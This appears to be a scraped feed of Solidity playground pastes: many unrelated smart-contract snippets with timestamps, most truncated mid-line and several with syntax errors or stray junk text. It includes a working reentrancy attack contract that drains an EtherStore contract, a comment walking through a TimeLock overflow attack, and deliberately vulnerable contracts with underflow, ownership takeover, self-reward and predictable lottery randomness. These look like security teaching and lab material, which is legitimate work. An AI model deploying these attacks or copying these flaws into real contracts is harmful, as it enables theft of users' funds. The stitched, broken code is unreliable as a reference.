    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
Aug 18, 2022 09:30:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public returns (uint) {
    value = _value;
    _value += 1
    return value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 18, 2022 06:14:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  // Boolean : True, False
  bool a = true;
  bool b = false;

  // int : integer (8bit ~ 256bit)
  int i1; // = int256
  int8 i2;
  int16 i3;
  int32 i4;
  int64 i5;
  int128 i6;
  int256 i7;

  // uint : usigned integer (8bit ~ 256bit)
  uint u1; // = uint256
  uint8 u2;
  uint16 u3;
  uint32 u4;
  uint64 u5;
  uint128 u6;
  uint256 u7;

  // float : can declaration but, can't assignment. (not yet implement)
  fixed f1;

  // address : account's address (20 bytes)
  address a1;

  // bytes : bytes array
  byte 


Aug 18, 2022 04:06:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.22 <0.6.0;

/// @title Voting with delegation.
contract Ballot {
    // This declares a new complex type which will
    // be used for variables later.
    // It will represent a single voter.
    struct Voter {
        uint weight; // weight is accumulated by delegation
        bool voted;  // if true, that person already voted
        address delegate; // person delegated to
        uint vote;   // index of the voted proposal
    }

    // This is a type for a single proposal.
    struct Proposal {
        bytes32 name;   // short name (up to 32 bytes)
        uint voteCount; // number of accumulated votes
    }

    address public chairperson;

    // This declares a state variable that
    // stores a `Voter` struct for each possible address.
    mapping(address => Voter) public voters;

    // A dynamically-sized array of `Proposal` structs.
    Proposal[] public proposals;

    /// Create a new 
Aug 18, 2022 03:07:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Helloworld {
  
  string message = "Hello world!";

  function greeting() public view returns (string) {
    return message;
  } 
Aug 18, 2022 01:56:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
SimpleStore.set(3565);
SimpleStore.get()
Aug 17, 2022 09:57:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  mimimimii
Aug 15, 2022 05:35:24 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient f
Aug 13, 2022 20:40:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 12, 2022 07:32:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 12, 2022 06:07:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
              
Aug 08, 2022 21:22:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
dfadf  uint value;
Aug 07, 2022 21:08:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  do stuff
Aug 06, 2022 22:48:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;

contract Auction {
  address payable owner;
  
  struct item {
    string item_name;
    uint price;
    address payable highest_bidder;
  }

  item public auctioned_item;
  mapping(address => uint) public account_balances;

  modifier ownerOnly() {
    require(msg.sender == owner);
    _;
  }

  constructor() public {
    owner = msg.sender;
  }

  function setAuctionedItem(string memory _item, uint _price) public ownerOnly {
    auctioned_item = item(_item, _price, address(0));
  }

  function finishAuction() public ownerOnly {

  }

  function bid() public payable {

  }

  function withdraw() public {
    owner.transfer(auctioned_item.price);
  }
Aug 03, 2022 09:07:36 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {
    
    uint num1 = 2; 
    uint num2 = 4;
  
   function getResult(
   ) public view returns(
     uint product, uint sum){
       uint num1 = 10;
       uint num2 = 16;
      product = num1 * num2;
      sum = num1 + num2; 
   }

   
Aug 01, 2022 06:29:23 UTC
pragma solidity ^0.4.18;

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}
Jul 28, 2022 00:01:13 UTC
// SPDX-License-Identifier: GPL-3.0-only

pragma solidity 0.6.4;

import "./EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) public{
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      //etherStore.depositFunds{value:1 ether}();
      // start the magic
      etherStore.withdrawFunds(msg.value);
  }

  function collectEther() public {
      payable(msg.sender).transfer(address(this).balance);
  }

  // fallback function - where the magic happens
   receive() payable external {
      if (address(etherStore).balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
Jul 27, 2022 02:18:12 UTC
// SPDX-License-Identifier: GPL-3.0-only

pragma solidity 0.6.4;

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        (bool success, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(success);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
 
Jul 27, 2022 02:17:28 UTC
Ejemplos de contratos  : 
pragma solidity 0.8.7;
contract VendingMachine {
    // Declarar las variables del estado del contrato
    address public owner;
    mapping (address => uint) public cupcakeBalances;
    // Cuando se implementa el contrato "VendingMachine":
    // 1. configurar la dirección de implantación como el propietario del contrato
    // 2. configurar el saldo de magdalenas del contrato inteligente implementado en 100
    constructor() {
        owner = msg.sender;
        cupcakeBalances[address(this)] = 100;
    }

    // Permitir que el propietario aumente el saldo de magdalenas del contrato inteligente
    function refill(uint amount) public {
        require(msg.sender == owner, "Only the owner can refill.");
        cupcakeBalances[address(this)] += amount;
    }

    // Permitir que cualquier persona compre magdalenas
    function purchase(uint amount) public payable {
        require(msg.value >= amount * 1 ether, "You must pay at least 1 ETH per cupcake");
        require(cupcakeBa
Jul 27, 2022 01:58:57 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SampleOverflow {
     string constant statictext = \"HelloStackOverFlow\";
     bytes32 constant byteText = \"HelloStackOverFlow\";
    function  getString() payable public  returns(string){
        return statictext;
    }

     function  getByte() payable public returns(bytes32){
        return byteText;
    }
Jul 25, 2022 19:40:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(address operator) public {
    value = uint16(uint160(operator));
  }

  function get() public constant returns (int) {
    return value;
  }

  int value;
Jul 25, 2022 17:32:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint tst;
Jul 25, 2022 08:51:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

Jul 25, 2022 08:50:26 UTC
pragma solidity 0.4.18;

contract ForceEther {

  bool youWin = false;

  function onlyNonZeroBalance() {
      require(this.balance > 0); 
      youWin = true;
  }
  // throw if any ether is received
  function() payable {
    revert();
  }
         
Jul 20, 2022 11:43:19 UTC
//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
/* SPDX-License-Identifier: UNLICENSED */
pragma solidity >=0.7.0 <=0.8.0;

// implements the ERC721 standard
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// keeps track of the number of tokens issued
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// Accessing the Ownable method ensures that only the creator of the smart contract can interact with it
contract METABILDNFT is ERC721, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    
    // the name and symbol for the NFT
    constructor() public ERC721("METABILD", "META") {}

    // Create a function to mint/create the NFT
   // receiver takes a type of address. This is the wallet address of the user that should receive the NFT minted using the smart contract
    // tokenURI takes a string that contains metadata about the NFT

    function createNFT(address receiver, string 
Jul 20, 2022 09:09:29 UTC
//SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
 
contract Lottery {
   event TicketPurchased(address who);
   event WinnerPicked(address who, uint256 reward);
  
   uint256 private immutable i_ticketPrice;
   uint256 private immutable i_endTime;
  
   address[] players;
  
   constructor() {
       i_ticketPrice = 1e18; //1000000000000000000 = 1 ETH
       i_endTime = block.timestamp + 180;
   }
 
   function buyTicket() external payable {
       require(block.timestamp <= i_endTime, "Lottery has ended");
       require(msg.value == i_ticketPrice, "Wrong purchase");
      
       players.push(msg.sender);
 
       emit TicketPurchased(msg.sender);
   }
 
   function pickWinner() external {
       require(block.timestamp > i_endTime);
 
       uint256 winnerIndex =  uint256(keccak256(abi.encodePacked(block.timestamp, players.length, block.number))) % players.length;
       address payable winner = payable(players[winnerIndex]);
       uint256 reward = address(this).balance;
 
       (bool sucess, ) = wi
Jul 18, 2022 06:15:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract HelloWorld {

  function sayHello() public pure returns (string) {
    return "HelloWorld..!!";
  }

Jul 18, 2022 00:31:14 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract NFTToken is ERC721URIStorage {

    uint public _tokenIds; 
    
    constructor(string memory TokenName, string memory TokenSymbol) ERC721(TokenName, TokenSymbol) {

    }

    function mintNewToken(string memory tokenURI) public returns (uint256){
        uint256 newItemId = _tokenIds;
        _mint(msg.sender, newItemId);
        _setTokenURI(newItemId, tokenURI);
        _tokenIds++;
        return newItemId;
    }
}

contract NFTTokenFactory {

    struct CreatedContract {
        NFTToken token;
        address creator;
        string symbol;
        string name;
    }

    CreatedContract[] public createdContracts;
    uint public createdContractCount;

    event tokenCreated(address indexed contractAddress, string tokenName, string TokenSymbol);

  
Jul 17, 2022 16:19:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.21 <0.7.0;


contract RewardsWallet {

  function _msgSender() internal view returns (address) {
      return msg.sender;
  }

  function _msgData() internal view returns (bytes) {
      this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
      return msg.data;
  }

  // Proof-of-Concept logic for Trublo
  // Not to be used in production!!!
  mapping (address => uint256) private _reward_balances;
  mapping (address => uint256) private _penalty_balances;

  // Dangerous function, anyone can reward themselves
  // - do not use _msgSender()
  // - make method internal (now public for easy demo purposes)
  function reward(uint256 amount) public returns (bool) {
      // require(recipient != address(0), "ERC20: transfer to the zero address");
      _reward_balances[_msgSender()] = _reward_balances[_msgSender()] + amount;
      // mayb
Jul 16, 2022 13:29:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 15, 2022 09:26:14 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.21 <0.7.0;


contract RewardsWallet {

  function _msgSender() internal view returns (address) {
      return msg.sender;
  }

  function _msgData() internal view returns (bytes) {
      this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
      return msg.data;
  }

  // Proof-of-Concept logic for Trublo
  // Not to be used in production!!!
  mapping (address => uint256) private _reward_balances;
  mapping (address => uint256) private _penalty_balances;

  // Dangerous function, anyone can reward themselves
  // - do not use _msgSender()
  // - make method internal (now public for easy demo purposes)
  function reward(uint256 amount) public returns (bool) {
      // require(recipient != address(0), "ERC20: transfer to the zero address");
      _reward_balances[_msgSender()] = _reward_balances[_msgSender()] + amount;
      // mayb
Jul 06, 2022 11:56:18 UTC
/**
 *Submitted for verification at BscScan.com on 2022-05-20
*/

// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; 
pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This valu
Jul 06, 2022 08:13:28 UTC
pragma solidity ^0.5.0;
contract Decentragram {
  string public name;
  uint public questionCount=0;
  uint public modelCount=0;
  mapping(uint => Question) public question;
  mapping(uint => Model) public model;
  mapping(uint => mapping(address => bool)) public voter;
  //mapping(uint => uint) public linkModelQuestion; 


struct Question {
    string text; // for question
    uint id;
    string hash; //for csv file dataset
    address payable author;
  }

  struct Model{
    uint id;
    //uint qId;  
    uint vote;
    string hash;
    string description;
    string quesModelId;
    address payable author;
  }

  event QuestionCreated(
    uint id,
    string hash,
    string text,
    address payable author
  );

  event ModelCreated(
    uint id,
    //uint qId,
    uint vote,
    string hash,
    string description,
    string quesModelId,
    address payable author
  );

  event Voting(
    uint id,
    string hash,
    string description,
    uint vote
  );

  constructor() public {
  name="Decentrag
Jul 05, 2022 18:08:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 04, 2022 12:31:45 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;kill
Jun 28, 2022 23:13:04 UTC
//SPDX-Licence-Identifier: MIT
pragma solidity 0.8.7;

contract Lottery {
    event TicketPurchased(address who);
    event WinnerPicked(address who, uint256 reward);

    uint256 immutable i_ticketPrice;
    uint256 immutable i_startBlock;
    uint256 immutable i_endBlock;

    address[] players;

    constructor(uint256 _ticketPrice, uint256 lotteryDurationInBlocks) {
        i_ticketPrice = _ticketPrice;
        i_startBlock = block.number;
        i_endBlock = block.number + lotteryDurationInBlocks;
    }

    function buyTicket() external payable {
        require(block.number < i_endBlock, "Lottery has ended");
        require(msg.value == i_ticketPrice, "Wrong purchase");

        players.push(msg.sender);

        emit TicketPurchased(msg.sender);
    }

    function pickWinner() external {
        require(block.number > i_endBlock);

        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(block.timestamp, players.length, block.number)
            )
        ) % p
Jun 28, 2022 08:09:58 UTC

// File: contracts/swap/interfaces/IFluxSwapCallee.sol



//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;

interface IFluxSwapCallee {
    function fluxSwapCall(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

// File: contracts/swap/interfaces/IERC20.sol



//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;

interface IERC20 {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
     
Jun 27, 2022 15:47:07 UTC
/**
 *Submitted for verification at BscScan.com on 2021-03-22
*/

/**
 *Website: https://bnbMiner.finance
*/

pragma solidity ^0.4.26; // solhint-disable-line

contract BNBTest{
    //uint256 EGGS_PER_MINERS_PER_SECOND=1;
    uint256 public EGGS_TO_HATCH_1MINERS=2592000;//for final version should be seconds in a day
    uint256 PSN=10000;
    uint256 PSNH=5000;
    bool public initialized=false;
    address public ceoAddress;
    address public ceoAddress2;
    mapping (address => uint256) public hatcheryMiners;
    mapping (address => uint256) public claimedEggs;
    mapping (address => uint256) public lastHatch;
    mapping (address => address) public referrals;
    uint256 public marketEggs;
    constructor() public{
        ceoAddress=msg.sender;
        ceoAddress2=address(0xaA31F5dBaa6f841D494396dde1bCeEeeE912C442);
    }
    function hatchEggs(address ref) public{
        require(initialized);
        if(ref == msg.sender) {
            ref = 0;
        }
        if(referrals[msg.sender]==0 && referral
Jun 27, 2022 06:48:27 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
Jun 25, 2022 22:08:26 UTC
pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong
Jun 25, 2022 19:51:06 UTC
pragma solidity ^0.8.0;

import './interfaces/IERC20.sol';
import './interfaces/IPancakePair.sol';
import './interfaces/IPancakeRouter.sol';
import './interfaces/IPancakeFactory.sol';

import './libs/Ownable.sol';
import './libs/Lockable.sol';

contract YieldFarmingWithoutMinting is Ownable, Lockable {
 /**
     * Dev: owner or Creater can deposit Revards tokens.
     **/
    function depositRevards(uint256 farmId, uint256 amount) external {
        Farm storage farm = _farms[farmId];
        require(_msgSender() == owner() || _msgSender() == farm.creator, 'Only owner or creator can update this farm');
        farm.revardsValue += amount;
        farm.token.transferFrom(_msgSender(), address(this), amount);
    }

    /**
     * Dev: owner or Creater can withdrawal Revards tokens.
     **/
    function withdrawalRevards(uint256 farmId, uint256 amount) external onlyOwner {
        Farm storage farm = _farms[farmId];
        farm.revardsValue -= amount;
        farm.token.transfer(_msgSender(), amount);
    }

Jun 25, 2022 11:50:36 UTC
// The cut part of the code
pragma solidity ^0.6.12;

import "./Context.sol";
import "./SafeMath.sol";
import "./Ownable.sol";
import "../interfaces/IERC20.sol";

abstract contract ReflectToken is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcluded;
    address[] private _excluded;

    uint8 private constant _decimals = 18;
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructo
Jun 25, 2022 11:40:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value1) public {
    value = _value1;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jun 25, 2022 02:40:59 UTC

// File: contracts/exchange/interfaces/IFluxSwapCallee.sol

pragma solidity >=0.5.0;

interface IFluxSwapCallee {
    function fluxSwapCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/exchange/interfaces/IERC20.sol

pragma solidity >=0.5.0;

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFr
Jun 25, 2022 02:26:53 UTC
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

contract Contract is Ownable, IERC20, ReentrancyGuard {
    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint256 private _decimals;
    uint256 private _tTotal;

    address public walletLiquidity;
    address public walletTokens;
    address payable public
Jun 24, 2022 11:54:05 UTC
use anchor_lang::prelude::*;
use mpl_token_metadata::{instruction::set_and_verify_collection, utils::assert_derivation};
use solana_program::{
    program::invoke_signed, sysvar, sysvar::instructions::get_instruction_relative,
};

use crate::{cmp_pubkeys, CM, CollectionPDA};

/// Sets and verifies the collection during a  mint
#[derive(Accounts)]
pub struct SetCollectionDuringMint<'info> {
    #[account(has_one = authority)]
    candy_machine: Account<'info, CM>,
    /// CHECK: account checked in CPI/instruction sysvar
    metadata: UncheckedAccount<'info>,
    payer: Signer<'info>,
    #[account(mut, seeds = [b"collection".as_ref(), candy_machine.to_account_info().key.as_ref()], bump)]
    collection_pda: Account<'info, CollectionPDA>,
    /// CHECK: account constraints checked in account trait
    #[account(address = mpl_token_metadata::id())]
    token_metadata_program: UncheckedAccount<'info>,
    /// CHECK: account constraints checked in account trait
    #[account(address = sysvar::instructions::id())]
Jun 24, 2022 11:36:08 UTC
// SPDX-License-Identifier: MIT

import "./BEP20.sol";

pragma solidity 0.6.12;

/**
 * @title Roles
 * @dev Library for managing addresses assigned to a Role.
 */
library Roles {
    struct Role {
        mapping (address => bool) bearer;
    }

    /**
     * @dev Give an account access to this role.
     */
    function add(Role storage role, address account) internal {
        require(!has(role, account), "Roles: account already has role");
        role.bearer[account] = true;
    }

    /**
     * @dev Remove an account's access to this role.
     */
    function remove(Role storage role, address account) internal {
        require(has(role, account), "Roles: account does not have role");
        role.bearer[account] = false;
    }

    /**
     * @dev Check if an account has this role.
     * @return bool
     */
    function has(Role storage role, address account) internal view returns (bool) {
        require(account != address(0), "Roles: account is the zero address");
        return role.bearer[acco
Jun 24, 2022 09:55:06 UTC
// SPDX-License-Identifier: MIT

import "./BEP20.sol";

pragma solidity 0.6.12;

/**
 * @title Roles
 * @dev Library for managing addresses assigned to a Role.
 */
library Roles {
    struct Role {
        mapping (address => bool) bearer;
    }

    /**
     * @dev Give an account access to this role.
     */
    function add(Role storage role, address account) internal {
        require(!has(role, account), "Roles: account already has role");
        role.bearer[account] = true;
    }

    /**
     * @dev Remove an account's access to this role.
     */
    function remove(Role storage role, address account) internal {
        require(has(role, account), "Roles: account does not have role");
        role.bearer[account] = false;
    }

    /**
     * @dev Check if an account has this role.
     * @return bool
     */
    function has(Role storage role, address account) internal view returns (bool) {
        require(account != address(0), "Roles: account is the zero address");
        return role.bearer[acco
Jun 24, 2022 09:50:38 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract MyPaymentProcessor {
// Events:
    event NewPayment(uint indexed index, address indexed sender, uint amount);

// Fields:
    mapping(address => uint) public _balances;
    uint public _paymentsCount = 0;

    // TODO: use OpenZeppelin's Ownable instead! Just an example 
    address _owner;

// Methods:
    constructor() public {
      // TODO: need a function to change an owner
      _owner = msg.sender;
    }

    // This is a fallback function 
    // it is automatically called each time anyone sends ether to this contract 
    // will keep all the Ether in the contract until you call a withdaw() function
    function() public payable {
        // TODO: process multiple payments
        // 0 - check if user haven't sent us money before
        require(_balances[msg.sender]==0, "Can not process payment: please dont send again");

        // 1 - update user's balance
        _balances[m
Jun 22, 2022 20:34:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract MyPaymentProcessor {
// Events:
    event NewPayment(uint indexed index, address indexed sender, uint amount);

// Fields:
    mapping(address => uint) public balances;
    uint public paymentsCount = 0;

    // TODO: use OpenZeppelin's Ownable instead! Just an example 
    address _owner;

// Methods:
    constructor() public {
      // TODO: need a function to change an owner
      _owner = msg.sender;
    }

    // This is a fallback function 
    // it is automatically called each time anyone sends ether to this contract 
    // will keep all the Ether in the contract until you call a withdaw() function
    function() public payable {
        // TODO: process multiple payments
        // 0 - check if user haven't sent us money before
        require(balances[msg.sender]==0, "Can not process payment: please dont send again");

        // 1 - update user's balance
        balances[msg.s
Jun 22, 2022 20:26:41 UTC
pragma solidity ^0.4.24;

contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
